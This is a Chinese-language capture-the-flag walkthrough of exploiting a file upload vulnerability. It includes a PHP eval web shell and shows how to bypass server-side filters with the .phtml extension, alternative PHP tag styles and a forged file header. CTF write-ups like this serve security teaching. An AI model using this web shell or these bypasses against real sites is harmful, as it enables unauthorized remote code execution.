目錄???????
題目:
分析:
題目:

分析:
一個檔案上傳漏洞
上傳一個1.php檔案內容為:<?php eval($_POST[1]);?>

發現報錯,
查看源代碼,沒有關于過濾的代碼,說明是后端進行的過濾,
bp抓包:修改MIME

報錯說不能是php檔案 、繞過后綴的有檔案格式有php,php3,php4,php5,phtml.pht,這些后綴名都可以被當做php檔案執行
發現只要phtml檔案可以使用,修改后綴為phtml
phtml一般是指嵌入了php代碼的html檔案,但是同樣也會作為php決議
PHT檔案是一個HTML頁面,其中包括一個PHP腳本

發現提示說檔案中包含了<?
那么我們就用PHP另外的代碼風格
php4種常見風格標簽寫法
1:正常寫法
<?php
echo '1111';
?>
2:短標簽
<?
echo '1111';
?>
5.4 起 <?= 'hello'; === <? echo 'hello';
<?=$a?>
<?=(運算式)?>
就相當于
<?php echo $a?>
<?php echo (運算式)?>
<?需要 php.ini 組態檔中的指令 short_open_tag 打開后才可用,或者在 PHP 編譯時加入了 --enable-short-tags 選項,
而自 PHP5.4 起,短格式的 echo 標記 <?= 總會被識別并且合法,而不管 short_open_tag 的設定是什么,
3:asp風格寫法
<%
echo '1111';
%>
(注釋:這種寫法在php配置中默認關閉了的,如果要正常輸出,需要配置php.ini檔案,在組態檔中找到asp_tags=off ,將off改為on,改動組態檔后需要重啟apache,)
4:長標簽風格
<script language="php">
XXXXXX
</script>

結果還是報錯,那么再偽造頭部

成功上傳!
最后還得訪問這個檔案:一般檔案上傳后都會放在url/upload/檔案名

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/300178.html
標籤:其他
